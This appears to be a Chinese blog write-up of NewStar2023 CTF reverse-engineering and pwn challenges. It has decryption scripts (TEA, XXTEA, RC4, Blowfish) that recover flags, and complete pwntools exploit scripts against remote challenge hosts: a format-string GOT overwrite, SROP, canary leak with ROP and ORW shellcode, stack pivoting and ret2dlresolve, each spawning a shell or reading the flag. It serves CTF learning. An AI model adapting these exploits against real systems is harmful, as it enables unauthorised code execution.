81, 80, 83, 82, 85, 84, 87, 86, 89, 88, 91, 90, 93, 92, 95, 94,
97, 96, 99, 98, 101, 100, 103, 102, 105, 104, 107, 106, 109, 108, 111, 110,
113, 112, 115, 114, 117, 116, 119, 118, 121, 120, 123, 122, 125, 124, 127, 126,
129, 128, 131, 130, 133, 132, 135, 134, 137, 136, 139, 138, 141, 140, 143, 142,
145, 144, 147, 146, 149, 148, 151, 150, 153, 152, 155, 154, 157, 156, 159, 158,
161, 160, 163, 162, 165, 164, 167, 166, 169, 168, 171, 170, 173, 172, 175, 174,
177, 176, 179, 178, 181, 180, 183, 182, 185, 184, 187, 186, 189, 188, 191, 190,
193, 192, 195, 194, 197, 196, 199, 198, 201, 200, 203, 202, 205, 204, 207, 206,
209, 208, 211, 210, 213, 212, 215, 214, 217, 216, 219, 218, 221, 220, 223, 222,
225, 224, 227, 226, 229, 228, 231, 230, 233, 232, 235, 234, 237, 236, 239, 238,
241, 240, 243, 242, 245, 244, 247, 246, 249, 248, 251, 250, 253, 252, 254, 255]
key = 'deadbeef'
flag = ''
for i,val in enumerate(result):
val = ((val << 3) | (val >> 5)) & 0xff
val = ((val << 2) | (val >> 6)) & 0xff
val ^= ord(key[i % len(key)])
flag += chr(box.index(val))
print(flag)
# [24, 64, 8, 16, 192, 105, 217, 120, 32, 128, 40, 209, 120, 8, 186, 162, 178, 8, 88, 112, 225, 40, 184, 24, 186, 170, 154, 176, 16, 0, 64, 0, 32, 112, 8, 96, 48, 88, 178, 160, 32, 217, 160, 104, 80, 184, 217, 112, 176, 217, 152, 170, 226, 200]
# flag{I_hate_le333ekk_asd213sadlgajaieo2sa_this_is_s0?}

2hard2u-1

jeb自动去除BlackObfuscator混淆

两次rc4得到s1

imgimg

先解tea

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include <stdio.h>
#include <stdint.h>

void encrypt (uint32_t* v, uint32_t* k) {
uint32_t sum = 0;
uint32_t v0 = v[0], v1 = v[1];
uint32_t delta = 0x9e3779b9;
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];

for (int i=0; i<32; i++) {
sum += delta;
v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
}

v[0]=v0;
v[1]=v1;
}

void decrypt (uint32_t* v, uint32_t* k) {
uint32_t v0 = v[0], v1 = v[1];
uint32_t delta = 0x9e3779b9;
uint32_t sum = delta * 32;
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];

for (int i=0; i<32; i++) {
v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
sum -= delta;
}

v[0]=v0;
v[1]=v1;
}

int main(){
uint32_t v[12] = {1709447429,319073545,933829062,996866537,2967913332,1503747157,2184587230,4251507117,351303914,3390489858,1838058664,2531479130};
uint32_t k[4]= {5,2,7,5};
uint32_t tmp[2];
for(int i=0; i<12; i+=2){
tmp[0] = v[i]; tmp[1] = v[i+1];
decrypt(tmp,k);
printf("0x%x 0x%x ", tmp[0], tmp[1]);
}
return 0;
}
//0x88c30106 0xbdc2acc3 0xaec2b8c2 0xc313a2c2 0xc3bcc3a2 0xc32807ab 0x87c2438f 0x9dc394c2 0x95c26c54 0xa1c385c3 0x5d86c253 0xc2bcc378

因为在java字符串传递到jni接口时,采用了GetStringUtfChars,这个函数会自动采用utf-8的解码格式。

我们需要将提取到的utf-8编码的数据转化为对应的Unicode编码

UTF-8编码,是Unicode的一种可变长度字符编码,是Unicode的一种实现方式,又称万国码;UTF8使用1~4字节为每个字符编码,相对于Unicode 固定的四字节长度,更节省存储空间。UTF-8字节长度与Unicode 码点对应关系如下:

一字节(0x00-0x7F)-> U+00~U+7F

二字节(0xC280-0xDFBF)-> U+80~U+7FF

三字节(0xE0A080-0xEFBFBF)-> U+800~U+FFFF

四字节(0xF0908080-0xF48FBFBF)-> U+10000~U+10FFFF

字符U+0000到U+007F(ASCII)被编码为字节0×00到0x7F(ASCIⅡ兼容)。这意味着只包含7位ASCIl字符的文件在ASCIⅡ和UTF-8两种编码方式下是一样的。而所有大于0x007F的字符被编码为一个有多个字节的串,每个字节都有标记位集,常用汉字基本上都被编码成三字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
data = [0x6,0x1,0xc3,0x88,0xc3,0xac,0xc2,0xbd,0xc2,0xb8,0xc2,0xae,0xc2,0xa2,0x13,0xc3,0xa2,0xc3,0xbc,0xc3,0xab,0x7,0x28,0xc3,0x8f,0x43,0xc2,0x87,0xc2,0x94,0xc3,0x9d,0x54,0x6c,0xc2,0x95,0xc3,0x85,0xc3,0xa1,0x53,0xc2,0x86,0x5d,0x78,0xc3,0xbc,0xc2]
i = 0
result = []
while i < len(data):
byte = data[i]
if byte == 0xc0 and i+1 < len(data) and data[i+1] == 0x80:
result.append(0x00)
i += 2
elif 0x00 <= byte <= 0x7F:
result.append(byte)
i += 1
elif 0xC0 <= byte <= 0xDF and i+1 < len(data):
char = bytes([data[i], data[i+1]])
decoded = char.decode('utf-8', errors='ignore')
if decoded:
result.append(ord(decoded))
else:
result.append(byte)
i += 2
elif 0xE0 <= byte <= 0xEF and i+2 < len(data):
char = bytes([data[i], data[i+1], data[i+2]])
decoded = char.decode('utf-8', errors='ignore')
if decoded:
result.append(ord(decoded))
else:
result.append(byte)
i += 3
else:
result.append(byte)
i += 1
print(result)
#[6, 1, 200, 236, 189, 184, 174, 162, 19, 226, 252, 235, 7, 40, 207, 67, 135, 148, 221, 84, 108, 149, 197, 225, 83, 134, 93, 120, 252, 194]
from Crypto.Cipher import ARC4
a = [6, 1, 200, 236, 189, 184, 174, 162, 19, 226, 252, 235, 7, 40, 207, 67, 135, 148, 221, 84, 108, 149, 197, 225, 83, 134, 93, 120, 252, 168, 56, 93]
key = b'friedchick'
enc = b''.join([bytes([i]) for i in a])
rc4 = ARC4.new(key)
decrypted_data = rc4.decrypt(enc)
print(decrypted_data.decode())
# flag{G0ddamn700h@rd_f0ru_n0w!!!}

Pwn

putsorsys

got表可修改,泄露基址之后直接getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
from struct import pack
from ctypes import *
#from LibcSearcher import *

filename='./putsorsys'
elf = ELF(filename)
libc = ELF("./libc.so.6")
context(arch = elf.arch,log_level = 'debug',os = 'linux')

debug = 1
if debug:
io = remote('node5.buuoj.cn',26428)
else:
io = process(filename)

def s(a) : io.send(a)
def sa(a, b) : io.sendafter(a, b)
def sl(a) : io.sendline(a)
def sla(a, b) : io.sendlineafter(a, b)
def r() : return io.recv()
def pr() : print(io.recv())
def ru(a) : return io.recvuntil(a)
def inter() : io.interactive()
def gdb():
gdb.attach(io)
pause(1)
def get_addr():
return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
#return u32(io.recv()[0:4])


puts_got=elf.got['puts']

sla("Give me some gift?(0/1)\n",'1')
payload = b'%9$sAAAA' + p64(puts_got)
sla("What's it",payload)
puts_addr=get_addr()
libc_base = puts_addr - libc.sym['puts']
sys_addr = libc_base + libc.sym['system']
payload = fmtstr_payload(8, {puts_got: sys_addr})
sla("Give me some gift?(0/1)\n",'1')
sla("What's it",payload)

inter()

srop

第一个syscall是write,这里没有syscall_ret只有syscall@plt

到时候返回给rax

栈迁移之后一次SROP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import*
context(os="linux", arch="amd64", log_level="debug")

#p=process('./111')
p=remote('node5.buuoj.cn',26453)
elf=ELF('./pwn_1')

syscall =elf.plt['syscall']
rdi =0x401203
lea =0x401171 #lea rax, [rbp+var_30]
bss =0x404050 +0x500

p.recvuntil('welcome to srop!\n')

frame=SigreturnFrame()
frame.rdi =59
frame.rsi =bss -0x30
frame.rdx =0
frame.rcx =0
frame.rsp =bss +0x38
frame.rip =syscall

payload =b'a'*0x30 +flat(bss,lea)
p.send(payload)

payload =b'/bin/sh\x00' +b'a'*0x30 +flat(rdi,15,syscall,frame)

p.send(payload)
p.interactive()

也可以两次SROP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64',os='linux')
#context.terminal = ['tmux', 'splitw', '-h']
p=process('./srop')
#p=remote('',)
elf=ELF('./srop')

sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
s = lambda a:p.send(a)
sl = lambda a:p.sendline(a)
ru = lambda s:p.recvuntil(s)
rc = lambda s:p.recv(s)
uu64=lambda data :u64(data.ljust(8,b'\x00'))
get_libc = lambda :u64(ru('\x7f')[-6:].ljust(8,b'\x00'))
plo = lambda o:p64(libc_base+o)

rax_15=0x40113E
syscall_plt=elf.plt['syscall']
syscall=0x40118C
addr=0x404800
rdi=0x0000000000401203
rsi_r15=0x0000000000401201
ret=0x000000000040101a

frame=SigreturnFrame()
#frame.rax=0
frame.rdi=0
frame.rsi=0
frame.rcx=0x300
frame.rdx=addr
frame.rip=syscall_plt
frame.rsp=addr+8#这里好像是固定的
frame.rbp=addr+8
payload1=b'a'*0x38+p64(rdi)+p64(0xf)+p64(syscall_plt)+bytes(frame)
#sla('srop!\n',payload1)

#gdb.attach(p)
#pause()
sla('srop!\n',payload1)

frame=SigreturnFrame()
#frame.rax=0
frame.rdi=0x3b
frame.rsi=addr
frame.rcx=0
frame.rdx=0
frame.rip=syscall_plt
frame.rsp=addr+8
frame.rbp=addr+8
payload2=b'/bin/sh\x00'+p64(rdi)+p64(0xf)+p64(syscall_plt)+bytes(frame)
gdb.attach(p)
pause()
sl(payload2)

p.interactive()

ezorw-1

imgimg

格式化字符串泄露canary,然后orw读flag

mmap参数:0x1000 代表 4096 字节(4KB),这是一个典型的内存页面大小;7 表示读、写和执行权限的组合;50表示请求创建一个匿名映射,并强制将其放置在特定地址;后两个参数通常为默认值,可以忽略

canary偏移为0x28/8+6=11,原有的gadget很少,需要在libc中寻找用于rop的gadget

格式化字符串是第六个参数,put_got是第八个参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
# p=process('./ezorw')
p=remote("node5.buuoj.cn",28346)
elf = ELF('./ezorw')
libc = ELF('./libc.so.6')
puts_got=elf.got['puts']

##leak libc canary
payload=b'%8$s%11$p'+b'\x00'*7+p64(puts_got)
p.sendafter("sandbox\n",payload)
puts_addr=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
canary=int(p.recv()[2:18],16)#canary=int(p.recv(),16)
print(hex(canary))
libc_base = puts_addr - libc.symbols['puts']

##gadget
ret = 0x2a264 + libc_base
pop_rdi = 0x2a3e5 + libc_base
pop_rsi = 0x2be51 + libc_base
pop_rdx = 0x90529 + libc_base #pop rdx pop rbx ret
pop_rax = 0x45eb0 + libc_base
read_addr = libc_base + libc.sym['read']

##栈溢出
payload2 = b'a'*40+p64(canary)+b'a'*8
##read(0,0x66660000,0x100)
payload2 += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(0x66660000) + p64(pop_rdx) + p64(0x100) + p64(0) + p64(read_addr)
##ret
payload2 += p64(0x66660000)+p64(ret)
payload3 =b'A'*0x28 +p64(canary) +p64(0) +p64(ret) +p64(pop_rdi) +p64(0) +p64(pop_rsi) +p64(0x66660000) +p64(pop_rdx) +p64(0x100) +p64(0) +p64(read_addr) +p64(0x66660000)
p.send(payload3)#个人更喜欢payload3这种写法

##orw
orw_shellcode = shellcraft.open('./flag')
orw_shellcode += shellcraft.read(3,0x66660200,0x100)
orw_shellcode += shellcraft.write(1,0x66660200,0x100)
p.send(asm(orw_shellcode))
p.interactive()

stack_migration_revenge-1

和之前相比这次没有泄露栈地址

没开pie,把栈迁移到bss段上

用lic.address不用管base,puts的bss比system的高0x50

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
context.update(os = 'linux',arch = 'amd64')
context.log_level = 'debug'
binary = './pwn'
elf = ELF(binary)
libc = ELF('./libc.so.6')
DEBUG = 0
if DEBUG:
libc = elf.libc
p = process(binary)
else:
host = 'node5.buuoj.cn'
port = '27806'
p = remote(host,port)

bss = elf.bss(0x100)
pop_rdi_ret = 0x00000000004012b3
pop_rbp_ret = 0x000000000040115d
leave_ret = 0x0000000000401227
ret = 0x000000000040101a

p.recvuntil("just chat with me:\n")
pay = b'a'*0x50 + p64(bss + 0x50) + p64(0x4011F3)
p.send(pay)

p.recvuntil("just chat with me:\n")
pay = p64(pop_rdi_ret) + p64(elf.got["puts"]) + p64(elf.plt["puts"])
pay += p64(pop_rbp_ret) + p64(bss + 0x50 + 0x120) + p64(0x4011F3)
pay = pay.ljust(0x50, b'\x00') + p64(bss - 0x8) + p64(leave_ret)
p.send(pay)

libc.address = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym["puts"]
system = libc.sym["system"]
binsh = next(libc.search(b"/bin/sh"))
success("libc.address-->" + hex(libc.address))

p.recvuntil("just chat with me:\n")
pay = p64(pop_rdi_ret) + p64(binsh) + p64(system)
pay = pay.ljust(0x50, b'\x00') + p64(bss - 0x8 + 0x120) + p64(leave_ret)
p.send(pay)

p.interactive()

dlsolve

只有read

目的是伪造一个名字,got,plt项让程序自动按字符串去找相应的libc然后调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
from LibcSearcher import *
context(os = "linux", arch = "amd64", log_level= "debug")

#p=process('./111')
p =remote('node5.buuoj.cn',29978)
elf = ELF('./pwn')
libc = ELF('./libc-2.31.so')

read_plt = elf.plt['read']
read_got = elf.got['read']
vuln_addr = 0x401170
plt0 = 0x401020 #plt段地址
bss = 0x404040
bss_stage =bss + 0x100
l_addr =libc.sym['system'] -libc.sym['read']

pop_rdi = 0x000000000040115e #pop rdi ; ret
pop_rsi = 0x000000000040116b #pop rsi ; ret#用于解析符号 dl_runtime_resolve
plt_load =p64(plt0+6)

def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset):
linkmap = p64(offset & (2 ** 64 - 1))#l_addr
linkmap += p64(0)
linkmap += p64(fake_linkmap_addr + 0x18)
linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1))
linkmap += p64(0x7)
linkmap += p64(0)
linkmap += p64(0)
linkmap += p64(0)
linkmap += p64(known_func_ptr - 0x8)
linkmap += b'/bin/sh\x00'
linkmap = linkmap.ljust(0x68,b'A')
linkmap += p64(fake_linkmap_addr)
linkmap += p64(fake_linkmap_addr + 0x38)
linkmap = linkmap.ljust(0xf8,b'A')
linkmap += p64(fake_linkmap_addr + 0x8)
return linkmap

fake_link_map = fake_Linkmap_payload(bss_stage, read_got ,l_addr)

payload = flat( b'a'*120 ,pop_rdi, 0 ,pop_rsi ,bss_stage ,read_plt ,pop_rsi ,0 ,pop_rdi ,bss_stage +0x48 ,plt_load ,bss_stage ,0)

p.sendline(payload)
p.send(fake_link_map)
p.interactive()

Week4

Re

easy_js

1
document.write(_0x221c90(_0x569454('admin', '123456'), atob('Cn8RHIJEVdvlrRESjETCscwQZdlhRfsRkWoHCTa0HcfLPg==')));

用VM模拟tea

得到delta=0x9e3779b9

dd是双字类型,k=[2,0,2,3]

提取opcode

1
2
3
4
5
6
7
8
9
10
11
12
start_addr = 0x4030c0
end_addr = 0x40327f

output = []
for addr in range(start_addr, end_addr + 1, 4):
value = idc.get_wide_byte(addr)
if value ==0xb9:
value = idc.get_wide_dword(addr)
addr+=4
output.append(value)

print(output)

抄一下并打印得到汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
#include<stdio.h>
typedef enum { false, true }bool;
int k[]={2,3,0,0};
int reg[1000];
char v[10];

int F0()
{
int result; // eax
int i; // [esp+Ch] [ebp-4h]

for ( i = 0; i <= 5; ++i )
{
result = i;
reg[i] = 0;
printf("reg[%d] = 0\n", i);
}
return result;
}

int __cdecl F1(int a1, int a2, int a3)
{
int result; // eax

if ( a3 )
{
if ( a3 == 1 )
{
result = a1;
reg[a1] = reg[a2];
printf("reg[%d] = reg[%d]\n", a1, a2);
}
else if ( a3 == 2 )
{
result = a1;
reg[a1] = v[a2];
printf("reg[%d] = v[%d]\n", a1, a2);
}
}
else
{
result = a1;
reg[a1] = a2;
printf("reg[%d] = %d\n", a1, a2);
}
return result;
}

int __cdecl F2(int a1, int a2, int a3)
{
int result; // eax

if ( a3 )
{
if ( a3 == 1 )
{
result = a1;
reg[a1] += reg[a2];
printf("reg[%d] += reg[%d]\n", a1, a2);
}
else if ( a3 == 2 )
{
result = a1;
reg[a1] += k[a2];
printf("reg[%d] += k[%d]\n", a1, a2);
}
}
else
{
result = a1;
reg[a1] += a2;
printf("reg[%d] += %d;\n", a1, a2);
}
return result;
}

int __cdecl F3(int a1, char a2)
{
int result; // eax

result = a1;
reg[a1] <<= a2;
printf("reg[%d] <<= %d\n", a1, a2);
return result;
}

int __cdecl F4(int a1, int a2)
{
int result; // eax

result = a1;
reg[a1] ^= reg[a2];
printf("reg[%d] ^= reg[%d]\n", a1, a2);
return result;
}

bool F6()
{
return 40 == 40;
}

int __cdecl F5(int a1, char a2)
{
int result; // eax

result = a1;
reg[a1] = (unsigned int)reg[a1] >> a2;
printf("reg[%d] = (unsigned int)reg[%d] >> %d\n", a1, a1, a2);
return result;
}

int __cdecl VM()
{
int result; // eax
int v3; // [esp+1B8h] [ebp-10h]

int v2[]={0xf0, 0xf1, 0x0, 0x0, 0x2, 0xf1, 0x1, 0x1, 0x2, 0xf1, 0x3, 0x0, 0x0, 0xf1, 0x2, 0x0, 0x0, 0xf2, 0x3, 0x9e3779b9, 0x0, 0xf1, 0x4, 0x1, 0x1, 0xf5, 0x4, 0x5, 0xf2, 0x4, 0x1, 0x2, 0xf1, 0x5, 0x1, 0x1, 0xf3, 0x5, 0x5, 0xf2, 0x5, 0x0, 0x2, 0xf4, 0x4, 0x5, 0xf1, 0x5, 0x1, 0x1, 0xf2, 0x5, 0x3, 0x1, 0xf4, 0x4, 0x5, 0xf2, 0x0, 0x4, 0x1, 0xf1, 0x4, 0x0, 0x1, 0xf5, 0x4, 0x5, 0xf2, 0x4, 0x3, 0x2, 0xf1, 0x5, 0x0, 0x1, 0xf3, 0x5, 0x5, 0xf2, 0x5, 0x2, 0x2, 0xf4, 0x4, 0x5, 0xf1, 0x5, 0x0, 0x1, 0xf2, 0x5, 0x3, 0x1, 0xf4, 0x4, 0x5, 0xf2, 0x1, 0x4, 0x1, 0xf2, 0x2, 0x1, 0x0, 0xf6, 0xff, 0x0, 0x0, 0x0, 0x0, 0x0};


LABEL_12:
while ( v2[v3] != 255 )
{
switch ( v2[v3] )
{
case 240:
F0();
++v3;
break;
case 241:
F1(v2[v3 + 1], v2[v3 + 2], v2[v3 + 3]);
v3 += 4;
break;
case 242:
F2(v2[v3 + 1], v2[v3 + 2], v2[v3 + 3]);
v3 += 4;
break;
case 243:
F3(v2[v3 + 1], v2[v3 + 2]);
v3 += 3;
break;
case 244:
F4(v2[v3 + 1], v2[v3 + 2]);
v3 += 3;
break;
case 245:
F5(v2[v3 + 1], v2[v3 + 2]);
v3 += 3;
break;
case 246:
if ( F6() )
++v3;
else
v3 = 17;
break;
default:
goto LABEL_12;
}
}
return result;
}

int main(){
VM();
return 0;
}

分析一下得到算法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include <stdio.h>
#include <stdint.h>

void encrypt (uint32_t* v, uint32_t* k) {
uint32_t sum = 0;
uint32_t v0 = v[0], v1 = v[1];
uint32_t delta = 0x9e3779b9;
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];

for (int i=0; i<32; i++) {
sum += delta;
v0 += ((v1<<5) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
v1 += ((v0<<5) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
}

v[0]=v0;
v[1]=v1;
}

void decrypt (uint32_t* v, uint32_t* k) {
uint32_t v0 = v[0], v1 = v[1];
uint32_t delta = 0x9e3779b9;
uint32_t sum = delta * 40;
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];

for (int i=0; i<40; i++) {
v1 -= ((v0<<5) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
v0 -= ((v1<<5) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
sum -= delta;
}

v[0]=v0;
v[1]=v1;
}

int main(){
uint32_t v[] = {0x76B9621A, 0xCCE4ADDE, 0x25C8BFC8, 0x16C2D472, 0xF317D53A, 0xF2A111A1, 0xDF89F0E6, 0xDCCDA623,
0x21C2F409, 0xDBD88D63};
uint32_t k[4]= {2,0,2,3};
for(int i=0; i<5; i++) decrypt(v + i*2, k);
printf("%s", (char *)v);
return 0;
}
/*
flag{WOWOW!Y0uG0tTh3F0urthPZGALAXY1eve1}
*/

iwanarest

采用了动态注册的方式去注册native层函数

xxtea

key被修改了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#define DELTA 0x9E3779B9
#define MX (z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum ^ y) + (k[(p & 3) ^ e] ^ z)

void xxtea_encrypt(uint32_t *v, uint32_t len, uint32_t *k) {
uint32_t n = len - 1;
uint32_t y, z, sum = 0, e, p, q;
q = 6 + 52 / len;
while (q-- > 0) {
sum += DELTA;
e = sum >> 2 & 3;
for (p = 0; p < n; p++) {
y = v[p + 1];
z = v[p] += MX;
}
y = v[0];
z = v[n] += MX;
}
}

void xxtea_decrypt(uint32_t *v, uint32_t len, uint32_t *k) {
uint32_t n = len - 1;
uint32_t y, z, sum, e, p, q;
q = 6 + 52 / len;
sum = q * DELTA;
y = v[0];
while (sum != 0) {
e = sum >> 2 & 3;
for (p = n; p > 0; p--) {
z = v[p - 1];
y = v[p] -= MX;
}
z = v[n];
y = v[0] -= MX;
sum -= DELTA;
}
}

int main() {
uint32_t v[8] = {
3962803346,3145558623,1541010058,1093420299,
3315082129,861271549,352576336,60051825, };
uint32_t key[4] = { 1,1,4,5 };
uint32_t i;
uint32_t temp[2];
for (i = 0; i < 8; i += 2){
temp[0] = v[i];
temp[1] = v[i + 1];
xxtea_decrypt(temp, 2, key);
v[i] = temp[0];
v[i + 1] = temp[1];
}
printf("%s", (char *)v);
return 0;
}
//flag{GDu7Il0v3uP1zl3tm3Gr@duate}?

简单的跨栏

同样是动态注册

java字符串传递到jni接口时,采用了GetStringUtfChars,这个函数会自动采用utf-8的解码格式

我们需要将base64解密后的utf-8编码的数据转化为对应的Unicode编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from Crypto.Cipher import ARC4
import base64
def custom_base64_decode(data):
custom_chars = '0123456789ABCMtuvwxNOPQRabcdefghijklSTUVWXDEFGHIJKLYZmnopqrsyz+/'
# 创建标准Base64字符集和自定义字符集的映射表
base64_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
char_map = str.maketrans( custom_chars, base64_chars)
# 替换为自定义字符
data = data.translate(char_map)
# 使用标准Base64解码
decoded_data = list(base64.b64decode(data.encode()))
return decoded_data
enc = 'Jr0VJ81KJD1PJpY2WytxgeAnJWu2H1qutyA0xFtyJrZHJrZeJrM8ATCWJWft9FtgJsV2SCtR4yASJrE2Uv=='
data = custom_base64_decode(enc)
result = []

i = 0
while i < len(data):
byte = data[i]
if byte == 0xc0 and i+1 < len(data) and data[i+1] == 0x80:
result.append(0x00)
i += 2
elif 0x00 <= byte <= 0x7F:
result.append(byte)
i += 1
elif 0xC0 <= byte <= 0xDF and i+1 < len(data):
char = bytes([data[i], data[i+1]])
decoded = char.decode('utf-8', errors='ignore')
if decoded:
result.append(ord(decoded))
else:
result.append(byte)
i += 2
elif 0xE0 <= byte <= 0xEF and i+2 < len(data):
char = bytes([data[i], data[i+1], data[i+2]])
decoded = char.decode('utf-8', errors='ignore')
if decoded:
result.append(ord(decoded))
else:
result.append(byte)
i += 3
else:
result.append(byte)
i += 1
# print(result)
a = [
0xe0,0x27,0x00,0x71,0xa0,0x55,0xcc,0xa3,0xd2,0x79,
0xb6,0x83,0xb8,0x1e,0x4f,0x3b,0x80,0x4a,0xfc,0xed,
0x2e,0xed,0x1c,0xe3,0x48,0x2a,0x53,0x28,0x87,0x4e,
0x26,0xde,0xf9,0x90,0xd7,0x13,0xa4,0xea,0x99]
key = b'runrunrun'

enc = b''.join([bytes([i]) for i in result])
rc4 = ARC4.new(key)
decrypted_data = rc4.decrypt(enc)
print(decrypted_data.decode('utf-8'))
# flag{DED3D3DED3DE03DEBUG1sfunnyr1gh7??}

Week5

Re

yu

这里去花指令比较特殊,汇编代码里有db,那就重新分析一下

后续还是正常的,就是出现有点多

从题目名就可以猜到大概是blowfish

算法流程也符合

1
2
3
4
5
6
7
8
9
10
from Crypto.Cipher import Blowfish
enc = [0xFC, 0xD6, 0x82, 0x33, 0x86, 0x04, 0x1C, 0xB0, 0x98, 0x94, 0x36, 0xBB, 0x1F, 0x65, 0x62, 0x99, 0x4E, 0x65, 0x2F, 0x7E, 0xE0, 0x60, 0x67, 0x4B, 0x1B, 0xBA, 0x12, 0xB1, 0x54, 0x86, 0x29, 0xE2, 0xC8, 0x3A, 0xD2, 0x2B, 0xFC, 0xD4, 0x59, 0x44, 0x59, 0x7C, 0x48, 0x33, 0xBD, 0x17, 0x39, 0x47]
ciphertext = bytes(enc)
key = b"NewStar"

cipher = Blowfish.new(key, Blowfish.MODE_ECB)

decrypted_text = cipher.decrypt(ciphertext).decode()
print(decrypted_text)
# flag{YouGotit!!Yougoit!!!!TheFifthPZGALAXYLEVEL}

The_Last_Dance

发现常数

key和密文

还可以尝试unidbg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
void decrypt(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
unsigned int i;
uint32_t v0 = v[0], v1 = v[1], delta = 0x9E3779B9, sum = delta * num_rounds;
for (i=0; i < num_rounds; i++) {
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
sum -= delta;
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);

}
v[0] = v0; v[1] = v1;
}
void encrypt(uint32_t v[2], uint32_t const key[4]) {
unsigned int i;
uint32_t v0=v[0], v1=v[1], sum=0, delta=0x9E3779B9;
for (i=0; i < 32; i++) {
v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
sum += delta;
v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
}
v[0]=v0; v[1]=v1;
}
int main() {
uint32_t const k[4] = {0x34,0x14,0x16,0x0B};
uint32_t enc[] = {
0xF0CE18A6, 0x800DD010, 0xF6F659BA, 0x41EC6546, 0x60E71616, 0x8F4F4D10, 0x853C1F7F, 0x97B91828, 0x0EDDD0AE, 0xEE5E9E90, 0xAA80FD09, 0x652DBBEC};
unsigned int r = 32;
for(int i=0; i<12; i+=2){
decrypt(r, &enc[i], k);
}
printf("Decrypted data is: %s\n",(char*)enc);
return 0;
}
//Decrypted data is: flag{K1k1_S_1ov3_fr0m_Ch1ck_wh0_1s_w0rk1ng_h@rD}4

NewStar2023部分Reverse与Pwn
https://j1ya-22.github.io/2023/11/04/NewStar2023部分Reverse与Pwn/
作者
j1ya
发布于
2023年11月4日
许可协议